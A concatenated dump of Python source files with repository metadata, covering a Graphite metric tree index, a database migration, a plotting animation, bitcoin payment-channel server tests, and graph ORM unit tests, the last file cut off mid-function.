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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
45ff8b6b5f60c48ddfa54fb927e52bf066809499 | 6,044 | py | Python | influxgraph/classes/tree.py | InfluxGraph/influxgraph | 347c9b48f7708f1621a032ef2ca7d0915bc4a0b6 | [
"Apache-2.0"
] | 97 | 2016-10-26T15:39:44.000Z | 2021-11-29T06:57:22.000Z | influxgraph/classes/tree.py | olajowon/influxgraph | 347c9b48f7708f1621a032ef2ca7d0915bc4a0b6 | [
"Apache-2.0"
] | 52 | 2016-10-25T15:14:24.000Z | 2021-01-15T15:44:02.000Z | influxgraph/classes/tree.py | olajowon/influxgraph | 347c9b48f7708f1621a032ef2ca7d0915bc4a0b6 | [
"Apache-2.0"
] | 29 | 2016-11-15T21:53:58.000Z | 2021-11-05T19:19:35.000Z | # Copyright (C) [2015-2017] [Thomson Reuters LLC]
# Copyright (C) [2015-2017] [Panos Kittenis]
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tree representation of Graphite metrics"""
from __future__ import absolute_import, print_function
import json
from collections import deque
from graphite_api.utils import is_pattern
from graphite_api.finders import match_entries
def _encode_bytes(_str):
if not isinstance(b'', str):
return _str.encode('utf-8')
return bytes(_str)
def _decode_str(_str):
try:
return _str.decode('utf-8')
except AttributeError:
pass
return _str
class Node(object):
"""Node class of a graphite metric"""
__slots__ = ('children')
def __init__(self):
self.children = None
def is_leaf(self):
"""Returns True/False depending on whether self is a LeafNode or not"""
return self.children is None
def insert(self, paths):
"""Insert path in this node's children"""
if len(paths) == 0:
return
if self.children is None:
self.children = ()
child_name = paths.popleft()
for (_child_name, node) in self.children:
# Fast path for end of recursion - avoids extra recursion
# for empty paths list
if len(paths) == 0 and child_name == _child_name:
return
elif child_name == _child_name:
return node.insert(paths)
node = Node()
self.children += ((child_name, node),)
return node.insert(paths)
def to_array(self):
"""Return list of (name, children) items for this node's children"""
return [(_decode_str(name), node.to_array(),)
for (name, node,) in self.children] \
if self.children is not None else None
@staticmethod
def from_array(array):
"""Load given parent node's children from array"""
metric = Node()
if array is None:
return metric
else:
metric.children = ()
for child_name, child_array in array:
child = Node.from_array(child_array)
metric.children += ((_encode_bytes(child_name), child),)
return metric
class NodeTreeIndex(object):
"""Node tree index class with graphite glob searches per sub-part of a
query
"""
__slots__ = ('index')
@property
def children(self):
return self.index.children if self.index.children else []
def __init__(self):
self.index = Node()
def insert(self, metric_path):
"""Insert metric path into tree index"""
paths = deque([_encode_bytes(s) for s in metric_path.split('.')])
self.index.insert(paths)
def insert_split_path(self, paths):
"""Insert already split path into tree index"""
self.index.insert(deque([_encode_bytes(s) for s in paths]))
def clear(self):
"""Clear tree index"""
self.index.children = None
def query(self, query):
"""Return nodes matching Graphite glob pattern query"""
nodes = sorted(self.search(self.index, query.split('.'), []))
return (('.'.join(path), node,)
for path, node in nodes)
def _get_children_from_matched_paths(self, matched_paths, node):
for (path, _node) in node.children:
_path = _decode_str(path)
if _path in matched_paths:
yield (_path, _node)
def _get_child_from_string_query(self, sub_query, node):
for (path, _node) in node.children:
if _decode_str(path) == sub_query:
return _node
def _get_matched_children(self, sub_query, node):
keys = [_decode_str(key) for (key, _) in node.children] \
if node.children is not None else []
matched_paths = match_entries(keys, sub_query)
if node.children is not None and is_pattern(sub_query):
matched_children = self._get_children_from_matched_paths(
matched_paths, node)
else:
matched_children = [(sub_query,
self._get_child_from_string_query(
sub_query, node))] \
if node.children is not None \
and sub_query in keys else []
return matched_children
def search(self, node, split_query, split_path):
"""Return matching children for each query part in split query starting
from given node"""
sub_query = split_query[0]
matched_children = self._get_matched_children(sub_query, node)
for child_name, child_node in matched_children:
child_path = split_path[:]
child_path.append(child_name)
child_query = split_query[1:]
if len(child_query) > 0:
for sub in self.search(child_node, child_query, child_path):
yield sub
else:
yield (child_path, child_node)
def to_array(self):
"""Return array representation of tree index"""
return self.index.to_array()
@staticmethod
def from_array(model):
"""Load tree index from array"""
metric_index = NodeTreeIndex()
metric_index.index = Node.from_array(model)
return metric_index
@staticmethod
def from_file(file_h):
"""Load tree index from file handle"""
index = NodeTreeIndex.from_array(json.load(file_h))
return index
| 33.955056 | 79 | 0.615817 | 4,920 | 0.81403 | 871 | 0.14411 | 875 | 0.144772 | 0 | 0 | 1,525 | 0.252316 |
34004ea3073310db42117fab0c831aaf98b2e811 | 697 | py | Python | agent/alembic/versions/d04cf726555d_create_pipeline_retries_table.py | anodot/daria | d475899309f56cd85347be0f7001a0dd97dd197a | [
"Apache-2.0"
] | 16 | 2019-04-03T08:31:54.000Z | 2021-01-24T17:12:04.000Z | agent/alembic/versions/d04cf726555d_create_pipeline_retries_table.py | anodot/daria | d475899309f56cd85347be0f7001a0dd97dd197a | [
"Apache-2.0"
] | 10 | 2020-01-20T14:59:06.000Z | 2022-01-21T10:19:16.000Z | agent/alembic/versions/d04cf726555d_create_pipeline_retries_table.py | anodot/daria | d475899309f56cd85347be0f7001a0dd97dd197a | [
"Apache-2.0"
] | 5 | 2021-01-08T19:23:03.000Z | 2021-11-09T14:15:49.000Z | """create pipeline_retries table
Revision ID: d04cf726555d
Revises: fc92fa8ed02b
Create Date: 2021-09-02 13:04:36.053768
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'd04cf726555d'
down_revision = 'fc92fa8ed02b'
branch_labels = None
depends_on = None
def upgrade():
op.create_table(
'pipeline_retries',
sa.Column('pipeline_id', sa.String, primary_key=True),
sa.Column('number_of_error_statuses', sa.Integer, nullable=False)
)
op.create_foreign_key('fk_pipeline_retries_pipeline', 'pipeline_retries', 'pipelines', ['pipeline_id'], ['name'])
def downgrade():
op.drop_table('pipeline_retries')
| 23.233333 | 117 | 0.730273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 347 | 0.497848 |
34013eeb0dc107d3ab7cd078b429e806ffc56add | 2,525 | py | Python | CAAPR/CAAPR_AstroMagic/PTS/pts/magic/animation/scatter.py | wdobbels/CAAPR | 50d0b32642a61af614c22f1c6dc3c4a00a1e71a3 | [
"MIT"
] | 7 | 2016-05-20T21:56:39.000Z | 2022-02-07T21:09:48.000Z | CAAPR/CAAPR_AstroMagic/PTS/pts/magic/animation/scatter.py | wdobbels/CAAPR | 50d0b32642a61af614c22f1c6dc3c4a00a1e71a3 | [
"MIT"
] | 1 | 2019-03-21T16:10:04.000Z | 2019-03-22T17:21:56.000Z | CAAPR/CAAPR_AstroMagic/PTS/pts/magic/animation/scatter.py | wdobbels/CAAPR | 50d0b32642a61af614c22f1c6dc3c4a00a1e71a3 | [
"MIT"
] | 1 | 2020-05-19T16:17:17.000Z | 2020-05-19T16:17:17.000Z | #!/usr/bin/env python
# -*- coding: utf8 -*-
# *****************************************************************
# ** PTS -- Python Toolkit for working with SKIRT **
# ** © Astronomical Observatory, Ghent University **
# *****************************************************************
## \package pts.magic.animation.scatter Contains the ScatterAnimation class.
# -----------------------------------------------------------------
# Import standard modules
import io
import numpy as np
import copy
import imageio
# Import the relevant PTS classes and modules
from ...core.basics.animation import Animation
from ...core.plot.scatter import ScatterPlotter
# -----------------------------------------------------------------
class ScatterAnimation(Animation):
"""
This class ...
"""
def __init__(self, x_limits, y_limits, z_limits):
"""
The constructor ...
"""
# Call the constructor of the base class
super(ScatterAnimation, self).__init__()
# Set the number of frames per second
self.fps = 5
# Properties
self.x_limits = x_limits
self.y_limits = y_limits
self.z_limits = z_limits
self.x_label = None
self.y_label = None
self.z_label = None
self.density = True
# The plotter
self._plotter = ScatterPlotter()
# -----------------------------------------------------------------
def add_point(self, x, y, z):
"""
This function ...
:return:
"""
# Add a point to the plotter
self._plotter.add_point(x, y, z)
buf = io.BytesIO()
self._plotter.set_x_limits(self.x_limits[0], self.x_limits[1])
self._plotter.set_y_limits(self.y_limits[0], self.y_limits[1])
self._plotter.set_z_limits(self.z_limits[0], self.z_limits[1])
if self.x_label is not None: self._plotter.set_x_label(self.x_label)
if self.y_label is not None: self._plotter.set_y_label(self.y_label)
if self.z_label is not None: self._plotter.set_z_label(self.z_label)
self._plotter.format = "png"
self._plotter.density = self.density
# Run the scatter plotter
self._plotter.run(buf)
buf.seek(0)
im = imageio.imread(buf)
buf.close()
self.add_frame(im)
# Clear the scatter plotter
self._plotter.clear_figure()
# -----------------------------------------------------------------
| 27.445652 | 76 | 0.514059 | 1,696 | 0.671417 | 0 | 0 | 0 | 0 | 0 | 0 | 1,044 | 0.413302 |
3401e7d0ecf41d08ab5511f500baa59628ea1b4d | 336 | py | Python | 2409.py | ShawonBarman/URI-Online-judge-Ad-Hoc-level-problem-solution-in-python | 9a0f0ad5efd4a9e73589c357ab4b34b7c73a11da | [
"MIT"
] | 1 | 2022-01-14T08:45:32.000Z | 2022-01-14T08:45:32.000Z | 2409.py | ShawonBarman/URI-Online-judge-Ad-Hoc-level-problem-solution-in-python | 9a0f0ad5efd4a9e73589c357ab4b34b7c73a11da | [
"MIT"
] | null | null | null | 2409.py | ShawonBarman/URI-Online-judge-Ad-Hoc-level-problem-solution-in-python | 9a0f0ad5efd4a9e73589c357ab4b34b7c73a11da | [
"MIT"
] | null | null | null | a, b, c = map(int, input().split())
h, l = map(int, input().split())
if a <= h and b <= l:
print("S")
elif a <= h and c <= l:
print("S")
elif b <= h and a <= l:
print("S")
elif b <= h and c <= l:
print("S")
elif c <= h and a <= l:
print("S")
elif c <= h and b <= l:
print("S")
else:
print("N") | 21 | 36 | 0.4375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 21 | 0.0625 |
3403e8075fdfc60c6582826c725d9cc68e94658b | 16,760 | py | Python | tests/bitserv/test_channels.py | febuiles/two1-python | 88704487dba7715f97a0980781d4c0efb2ea7fc4 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | tests/bitserv/test_channels.py | febuiles/two1-python | 88704487dba7715f97a0980781d4c0efb2ea7fc4 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | tests/bitserv/test_channels.py | febuiles/two1-python | 88704487dba7715f97a0980781d4c0efb2ea7fc4 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | """Tests for payment channel functionality."""
import time
import codecs
import pytest
import collections
import multiprocessing
import two1.bitcoin.utils as utils
from two1.bitcoin import Script, Hash
from two1.bitcoin import PrivateKey
from two1.bitcoin import Transaction, TransactionInput, TransactionOutput
from two1.channels.statemachine import PaymentChannelRedeemScript
from two1.bitserv.payment_server import PaymentServer, PaymentServerError
from two1.bitserv.payment_server import PaymentChannelNotFoundError
from two1.bitserv.payment_server import TransactionVerificationError
from two1.bitserv.payment_server import BadTransactionError
from two1.bitserv.models import DatabaseSQLite3, ChannelSQLite3
class MockTwo1Wallet:
"""Wallet to mock two1 wallet functions in a test environment."""
def __init__(self):
"""Initialize the mock wallet with a private key."""
self._private_key = PrivateKey.from_random()
self.testnet = False
def get_payout_public_key(self, account='default'):
"""Return the public key associated with the private key."""
return self._private_key.public_key
def get_private_for_public(self, public_key):
"""Get this private key for this public key."""
if public_key.to_hex() == self._private_key.public_key.to_hex():
return self._private_key
else:
return None
def create_deposit_tx(self, hash160):
"""Return a mocked deposit transaction."""
utxo_script_sig = Script.build_p2pkh(self._private_key.public_key.hash160())
inp = TransactionInput(
outpoint=Hash('0' * 64), outpoint_index=0, script=utxo_script_sig, sequence_num=0xffffffff)
out = TransactionOutput(value=100000, script=Script.build_p2sh(hash160))
txn = Transaction(version=Transaction.DEFAULT_TRANSACTION_VERSION, inputs=[inp], outputs=[out], lock_time=0)
txn.sign_input(
input_index=0, hash_type=Transaction.SIG_HASH_ALL, private_key=self._private_key,
sub_script=utxo_script_sig)
return txn
def create_payment_tx(self, deposit_tx, redeem_script, merchant_public_key,
customer_public_key, amount, fee):
# Find P2SH output index in deposit_tx
deposit_utxo_index = deposit_tx.output_index_for_address(redeem_script.hash160())
# Look up deposit amount
deposit_amount = deposit_tx.outputs[deposit_utxo_index].value - fee
# Build unsigned payment transaction
script_sig = Script()
inp = TransactionInput(deposit_tx.hash, deposit_utxo_index, script_sig, 0xffffffff)
out1 = TransactionOutput(amount, Script.build_p2pkh(merchant_public_key.hash160()))
out2 = TransactionOutput(deposit_amount - amount, Script.build_p2pkh(customer_public_key.hash160()))
payment_tx = Transaction(1, [inp], [out1, out2], 0x0)
# Sign payment transaction
public_key = redeem_script.customer_public_key
private_key = self.get_private_for_public(public_key)
sig = payment_tx.get_signature_for_input(0, Transaction.SIG_HASH_ALL, private_key, redeem_script)[0]
# Update input script sig
script_sig = Script(
[sig.to_der() + utils.pack_compact_int(Transaction.SIG_HASH_ALL), 'OP_1', bytes(redeem_script)])
payment_tx.inputs[0].script = script_sig
return payment_tx
class MockBlockchain:
def broadcast_tx(self, tx):
pass
def lookup_spend_txid(self, txid, output_index):
return None
def check_confirmed(self, txid, num_confirmations=1):
return True
def mock_lookup_spent_txid(self, txid, output_index):
return txid
###############################################################################
ClientVals = collections.namedtuple('ClientVals', ['deposit_tx', 'payment_tx', 'redeem_script'])
TEST_DEP_AMOUNT = 100000
TEST_DUST_AMOUNT = 1
TEST_PMT_AMOUNT = 5000
TEST_FEE_AMOUNT = 10000
TEST_EXPIRY = 86400
cust_wallet = MockTwo1Wallet()
merch_wallet = MockTwo1Wallet()
BAD_SIGNATURE = codecs.encode(cust_wallet._private_key.sign('fake').to_der(), 'hex_codec')
channel_server = PaymentServer(merch_wallet, testnet=True)
channel_server._blockchain = MockBlockchain()
def _create_client_txs():
"""Mock client transactions for opening a channel."""
# Collect public keys
expiration_time = int(time.time() + TEST_EXPIRY)
customer_public_key = cust_wallet.get_payout_public_key()
merchant_public_key = merch_wallet.get_payout_public_key()
# Build redeem script
redeem_script = PaymentChannelRedeemScript(
merchant_public_key, customer_public_key, expiration_time)
# Build deposit tx
deposit_tx = cust_wallet.create_deposit_tx(redeem_script.hash160())
# Build payment tx
payment_tx = cust_wallet.create_payment_tx(
deposit_tx, redeem_script, merchant_public_key,
customer_public_key, TEST_PMT_AMOUNT, TEST_FEE_AMOUNT)
return ClientVals(deposit_tx.to_hex(), payment_tx.to_hex(), redeem_script.to_hex())
def _create_client_payment(client, num):
"""Mock client transaction for a payment in a channel."""
customer_public_key = cust_wallet.get_payout_public_key()
merchant_public_key = merch_wallet.get_payout_public_key()
deposit_tx = Transaction.from_hex(client.deposit_tx)
redeem_script = PaymentChannelRedeemScript.from_bytes(codecs.decode(client.redeem_script, 'hex_codec'))
return cust_wallet.create_payment_tx(
deposit_tx, redeem_script, merchant_public_key, customer_public_key,
TEST_PMT_AMOUNT * num, TEST_FEE_AMOUNT).to_hex()
def test_identify():
"""Test ability to identify a payment server."""
channel_server._db = DatabaseSQLite3(':memory:', db_dir='')
pc_config = channel_server.identify()
merchant_public_key = pc_config['public_key']
test_public_key = codecs.encode(
merch_wallet._private_key.public_key.compressed_bytes,
'hex_codec').decode('utf-8')
assert merchant_public_key == test_public_key
assert pc_config['version'] == channel_server.PROTOCOL_VERSION
assert pc_config['zeroconf'] is False
def test_channel_server_open():
"""Test ability to open a payment channel."""
channel_server._db = DatabaseSQLite3(':memory:', db_dir='')
test_client = _create_client_txs()
# Initialize the handshake and ensure that it returns sucessfully
channel_server.open(test_client.deposit_tx, test_client.redeem_script)
# Test for handshake failure when using the same refund twice
with pytest.raises(PaymentServerError):
channel_server.open(test_client.deposit_tx, test_client.redeem_script)
def test_receive_payment():
"""Test ability to receive a payment within a channel."""
channel_server._db = DatabaseSQLite3(':memory:', db_dir='')
test_client = _create_client_txs()
# Test that payment receipt fails when no channel exists
with pytest.raises(PaymentChannelNotFoundError):
channel_server.receive_payment('fake', test_client.payment_tx)
# Initiate and complete the payment channel handshake
deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script)
# Test that payment receipt succeeds
channel_server.receive_payment(deposit_txid, test_client.payment_tx)
# Test that payment receipt fails with a duplicate payment
with pytest.raises(PaymentServerError):
channel_server.receive_payment(deposit_txid, test_client.payment_tx)
def test_redeem_payment():
"""Test ability to redeem a payment made within a channel."""
channel_server._db = DatabaseSQLite3(':memory:', db_dir='')
test_client = _create_client_txs()
# Test that payment redeem fails when no channel exists
with pytest.raises(PaymentChannelNotFoundError):
channel_server.redeem('fake')
# Test that payment redeem succeeds
deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script)
payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx)
amount = channel_server.redeem(payment_txid)
assert amount == TEST_PMT_AMOUNT
# Test that payment redeem fails with a duplicate payment
with pytest.raises(PaymentServerError):
channel_server.redeem(payment_txid)
def test_status_close_channel():
"""Test ability to get a channel's status and close it."""
channel_server._db = DatabaseSQLite3(':memory:', db_dir='')
test_client = _create_client_txs()
# Test that channel close fails when no channel exists
with pytest.raises(PaymentChannelNotFoundError):
channel_server.close('fake', BAD_SIGNATURE)
# Open the channel and make a payment
deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script)
payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx)
channel_server.redeem(payment_txid)
# Test that channel close fails without a valid signature
with pytest.raises(TransactionVerificationError):
closed = channel_server.close(deposit_txid, BAD_SIGNATURE)
# Test that channel close succeeds
good_signature = codecs.encode(cust_wallet._private_key.sign(deposit_txid).to_der(), 'hex_codec')
closed = channel_server.close(deposit_txid, good_signature)
assert closed
def test_channel_sync(monkeypatch):
"""Test ability to sync the status of all channels."""
channel_server._db = DatabaseSQLite3(':memory:', db_dir='')
# Seed the database with activity in Channel A
test_client_a = _create_client_txs()
deposit_txid_a = channel_server.open(test_client_a.deposit_tx, test_client_a.redeem_script)
payment_txid = channel_server.receive_payment(deposit_txid_a, test_client_a.payment_tx)
amount = channel_server.redeem(payment_txid)
assert amount == TEST_PMT_AMOUNT
# Seed the database with activity in Channel B
cust_wallet._private_key = PrivateKey.from_random()
test_client_b = _create_client_txs()
deposit_txid_b = channel_server.open(test_client_b.deposit_tx, test_client_b.redeem_script)
payment_txid = channel_server.receive_payment(deposit_txid_b, test_client_b.payment_tx)
amount = channel_server.redeem(payment_txid)
payment_tx1 = _create_client_payment(test_client_b, 2)
payment_tx2 = _create_client_payment(test_client_b, 3)
payment_tx3 = _create_client_payment(test_client_b, 4)
payment_txid1 = channel_server.receive_payment(deposit_txid_b, payment_tx1)
payment_txid2 = channel_server.receive_payment(deposit_txid_b, payment_tx2)
payment_txid3 = channel_server.receive_payment(deposit_txid_b, payment_tx3)
amount1 = channel_server.redeem(payment_txid1)
amount2 = channel_server.redeem(payment_txid3)
amount3 = channel_server.redeem(payment_txid2)
assert amount1 == TEST_PMT_AMOUNT
assert amount2 == TEST_PMT_AMOUNT
assert amount3 == TEST_PMT_AMOUNT
# Both channels should be `ready` since our channel is zeroconf by default
channels = channel_server._db.pc.lookup()
assert channels, 'Channel lookup with no args should return a list of all channels.'
for channel in channels:
assert channel.state == ChannelSQLite3.READY, 'Channel should be READY.'
# Change Channel A to `confirming` for testing purposes
channel_server._db.pc.update_state(deposit_txid_a, ChannelSQLite3.CONFIRMING)
test_state = channel_server._db.pc.lookup(deposit_txid_a).state
assert test_state == ChannelSQLite3.CONFIRMING, 'Channel should be CONFIRMING'
# Change Channel B's expiration to be very close to allowable expiration
new_expiry = int(time.time() + 3600)
update = 'UPDATE payment_channel SET expires_at=? WHERE deposit_txid=?'
channel_server._db.pc.c.execute(update, (new_expiry, deposit_txid_b))
channel_server._db.pc.c.connection.commit()
test_expiry = channel_server._db.pc.lookup(deposit_txid_b).expires_at
assert test_expiry == new_expiry, 'Channel should closing soon.'
# Sync all of the server's payment channels
channel_server.sync()
# Test that Channel A is `ready` after a sync
test_state = channel_server._db.pc.lookup(deposit_txid_a).state
assert test_state == ChannelSQLite3.READY, 'Channel should be READY'
# Test that Channel B is `closed` after a sync
test_state = channel_server._db.pc.lookup(deposit_txid_b).state
assert test_state == ChannelSQLite3.CLOSED, 'Channel should be CLOSED'
# Test that Channel B payment is fully signed after a sync
test_payment = channel_server._db.pc.lookup(deposit_txid_b).payment_tx
goodsig_1 = Script.validate_template(test_payment.inputs[0].script, [bytes, bytes, 'OP_1', bytes])
goodsig_true = Script.validate_template(test_payment.inputs[0].script, [bytes, bytes, 'OP_TRUE', bytes])
assert goodsig_1 or goodsig_true, 'Payment should be in a fully signed format'
# Test that Channel A remains `ready` after another sync
channel_server.sync()
test_state = channel_server._db.pc.lookup(deposit_txid_a).state
assert test_state == ChannelSQLite3.READY, 'Channel should be READY'
# Modify `lookup_spend_txid` to return a txid, as if the tx were spent
monkeypatch.setattr(MockBlockchain, 'lookup_spend_txid', mock_lookup_spent_txid)
# Test that Channel A is `closed` after a sync where it finds a spent txid
channel_server.sync()
test_state = channel_server._db.pc.lookup(deposit_txid_a).state
assert test_state == ChannelSQLite3.CLOSED, 'Channel should be CLOSED'
def test_channel_low_balance_message():
"""Test that the channel server returns a useful error when the balance is low."""
channel_server._db = DatabaseSQLite3(':memory:', db_dir='')
test_client = _create_client_txs()
# Open the channel and make a payment
deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script)
payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx)
channel_server.redeem(payment_txid)
# Create a payment that almost completely drains the channel
payment_tx2 = _create_client_payment(test_client, 17)
payment_txid2 = channel_server.receive_payment(deposit_txid, payment_tx2)
channel_server.redeem(payment_txid2)
# Make a payment that spends more than the remaining channel balance
payment_tx3 = _create_client_payment(test_client, 18)
with pytest.raises(BadTransactionError) as exc:
channel_server.receive_payment(deposit_txid, payment_tx3)
assert 'Payment channel balance' in str(exc)
# Test that channel close succeeds
good_signature = codecs.encode(cust_wallet._private_key.sign(deposit_txid).to_der(), 'hex_codec')
closed = channel_server.close(deposit_txid, good_signature)
assert closed
def test_channel_redeem_race_condition():
"""Test ability lock multiprocess redeems."""
# Clear test database
multiprocess_db = '/tmp/bitserv_test.sqlite3'
with open(multiprocess_db, 'w') as f:
f.write('')
# Initialize test vectors
channel_server._db = DatabaseSQLite3(multiprocess_db)
test_client = _create_client_txs()
deposit_txid = channel_server.open(test_client.deposit_tx, test_client.redeem_script)
payment_txid = channel_server.receive_payment(deposit_txid, test_client.payment_tx)
# Cache channel result for later
channel = channel_server._db.pc.lookup(deposit_txid)
# This is a function that takes a long time
def delayed_pc_lookup(deposit_txid):
time.sleep(0.5)
return channel
# This is the normal function
def normal_pc_lookup(deposit_txid):
return channel
# This function is called between the first lookup and the final record update
# We make sure this function takes extra long the first time its called
# in order to expose the race condition
channel_server._db.pc.lookup = delayed_pc_lookup
# Start the first redeem in its own process and allow time to begin
p = multiprocessing.Process(target=channel_server.redeem, args=(payment_txid,))
p.start()
time.sleep(0.1)
# After starting the first redeem, reset the function to take a normal amount of time
channel_server._db.pc.lookup = normal_pc_lookup
# To test the race, this redeem is called while the other redeem is still in-process
# Because this call makes it to the final database update first, it should be successful
channel_server.redeem(payment_txid)
# The multiprocess redeem is intentionally made slow, and will finish after the redeem above
# Because of this, the multiprocess redeem should throw and exception and exit with an error
p.join()
assert p.exitcode == 1
| 43.195876 | 116 | 0.748866 | 2,926 | 0.174582 | 0 | 0 | 0 | 0 | 0 | 0 | 4,288 | 0.255847 |
3403f5c550e586734e611cd55d8e1765defe86ed | 297 | py | Python | aiida/cmdline/groups/__init__.py | aiidateam/aiida_core | 46d244e32ac5eca2e22a3d088314591ce064be57 | [
"PSF-2.0",
"MIT"
] | 153 | 2016-12-23T20:59:03.000Z | 2019-07-02T06:47:52.000Z | aiida/cmdline/groups/__init__.py | aiidateam/aiida_core | 46d244e32ac5eca2e22a3d088314591ce064be57 | [
"PSF-2.0",
"MIT"
] | 2,466 | 2016-12-24T01:03:52.000Z | 2019-07-04T13:41:08.000Z | aiida/cmdline/groups/__init__.py | aiidateam/aiida_core | 46d244e32ac5eca2e22a3d088314591ce064be57 | [
"PSF-2.0",
"MIT"
] | 88 | 2016-12-23T16:28:00.000Z | 2019-07-01T15:55:20.000Z | # -*- coding: utf-8 -*-
"""Module with custom implementations of :class:`click.Group`."""
# AUTO-GENERATED
# yapf: disable
# pylint: disable=wildcard-import
from .dynamic import *
from .verdi import *
__all__ = (
'DynamicEntryPointCommandGroup',
'VerdiCommandGroup',
)
# yapf: enable
| 16.5 | 65 | 0.686869 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 216 | 0.727273 |
3404a220cc2c7335fc1d99ac2799acd671b399e7 | 1,410 | py | Python | templates/pythonScripts/ExtraMeeting.py | cameronosmith/webreg-to-google-calendar | b245d17ce763082f253e98755d1e24a973b6d1ea | [
"MIT"
] | null | null | null | templates/pythonScripts/ExtraMeeting.py | cameronosmith/webreg-to-google-calendar | b245d17ce763082f253e98755d1e24a973b6d1ea | [
"MIT"
] | null | null | null | templates/pythonScripts/ExtraMeeting.py | cameronosmith/webreg-to-google-calendar | b245d17ce763082f253e98755d1e24a973b6d1ea | [
"MIT"
] | null | null | null | #class for meetings other than lecture
class ExtraMeeting:
def __init__(self):
self.type="TBA"
self.days="TBA"
self.time="TBA"
self.building="TBA"
self.room="TBA"
#self explanatory setter methods
def setType(self,type):
if type == 'DI':
self.type='Discussion'
elif type == 'LA':
self.type='LAB'
elif type == 'FI':
self.type='Final'
else:
self.type=type
def setDays(self,days):
self.days=days
def setTime(self,time):
self.time=time
def setBuilding(self,building):
self.building=building
def setRoom(self,room):
self.room=room
#getters
def getType(self):
if(self.type):
return self.type
else:
return ""
def getDays(self):
if(self.days):
return self.days
else:
return ""
def getTime(self):
if(self.time):
return self.time
else:
return ""
def getBuilding(self):
if(self.building):
return self.building
else:
return ""
def getRoom(self):
if(self.room):
return self.room
else:
return ""
def printStats(self):
print self.getType()+self.getDays()+self.getTime()+self.getBuilding()+self.getRoom()
| 23.114754 | 92 | 0.51844 | 1,367 | 0.969504 | 0 | 0 | 0 | 0 | 0 | 0 | 149 | 0.105674 |
34059f034a2a3d3139f78563258f3ffdcd3bb516 | 9,125 | py | Python | tests/module/module_orm_test.py | codacy-badger/graphit | 7fcfed114875466179ed3d4848dd9098fa3e60fb | [
"Apache-2.0"
] | null | null | null | tests/module/module_orm_test.py | codacy-badger/graphit | 7fcfed114875466179ed3d4848dd9098fa3e60fb | [
"Apache-2.0"
] | null | null | null | tests/module/module_orm_test.py | codacy-badger/graphit | 7fcfed114875466179ed3d4848dd9098fa3e60fb | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""
file: module_graphorm_test.py
Unit tests for the Graph Object Relations Mapper (orm)
"""
import os
from unittest_baseclass import UnittestPythonCompatibility
from graphit.graph_io.io_tgf_format import read_tgf
from graphit.graph_orm import GraphORM
# ORM test classes
class ORMtestMo(object):
@staticmethod
def get_label():
return "mo class"
class ORMtestBi(object):
@staticmethod
def get_label():
return "bi class"
class ORMtestTgf6(object):
def get_label(self):
return "tgf6 class {0}".format(self.add)
class ORMtestTgf9(object):
def get_label(self):
return "tgf9 class {0}".format(self.add)
class TestGraphORMRegistration(UnittestPythonCompatibility):
def setUp(self):
"""
Init empty GraphORM object
"""
self.orm = GraphORM()
def test_graph_orm_exception_noneclass(self):
"""
Registration 'class' argument should be a class else raise exception.
"""
self.assertRaises(TypeError, self.orm.node_mapping.add, 'not_a_class', lambda x: x.get('key') == 'two')
self.assertRaises(TypeError, self.orm.edge_mapping.add, 'not_a_class', lambda x: x.get('key') == 'two')
def test_graph_orm_exception_nonefunction(self):
"""
Registration 'match_func' argument should be a fucntion else raise
exception.
"""
self.assertRaises(TypeError, self.orm.node_mapping.add, ORMtestMo, 'not_a_function')
self.assertRaises(TypeError, self.orm.edge_mapping.add, ORMtestMo, 122)
def test_graph_orm_duplicate_registration(self):
"""
Duplicate registration of node and edge mapping is not allowed
"""
for n in range(2):
self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six')
self.assertEqual(len(self.orm.node_mapping), 1)
for n in range(2):
self.orm.edge_mapping.add(ORMtestBi, lambda x: x.get('label') == 'bi')
self.assertEqual(len(self.orm.edge_mapping), 1)
def test_graph_orm_mapping_add(self):
"""
Test adding mapping for node/edge
"""
idx = self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six')
self.assertEqual(idx, 1)
self.assertEqual(len(self.orm.node_mapping), 1)
self.assertEqual(list(self.orm.node_mapping.keys()), [1])
self.assertEqual(self.orm.node_mapping[1]['class'], ORMtestTgf6)
self.assertEqual(self.orm.node_mapping[1]['mro_pos'], 0)
def test_graph_orm_mapping_remove(self):
"""
Test removal of mapping based on mapping ID
"""
idx = self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six')
self.orm.node_mapping.remove(idx)
self.assertEqual(len(self.orm.node_mapping), 0)
self.assertTrue(idx not in self.orm.node_mapping)
def test_graph_orm_mapping_update(self):
"""
Test update of registered mapping based on mapping ID
"""
idx = self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six')
self.orm.node_mapping[idx]['class'] = ORMtestTgf9
self.assertEqual(self.orm.node_mapping[1]['class'], ORMtestTgf9)
def test_graph_orm_mapping_update_from_mapping(self):
"""
Test update from other orm mapping
"""
self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six')
# Build second ORM
second_orm = GraphORM()
for cls in (ORMtestTgf9, ORMtestBi):
second_orm.node_mapping.add(cls, lambda x: x.get('key') == 'six')
# Update
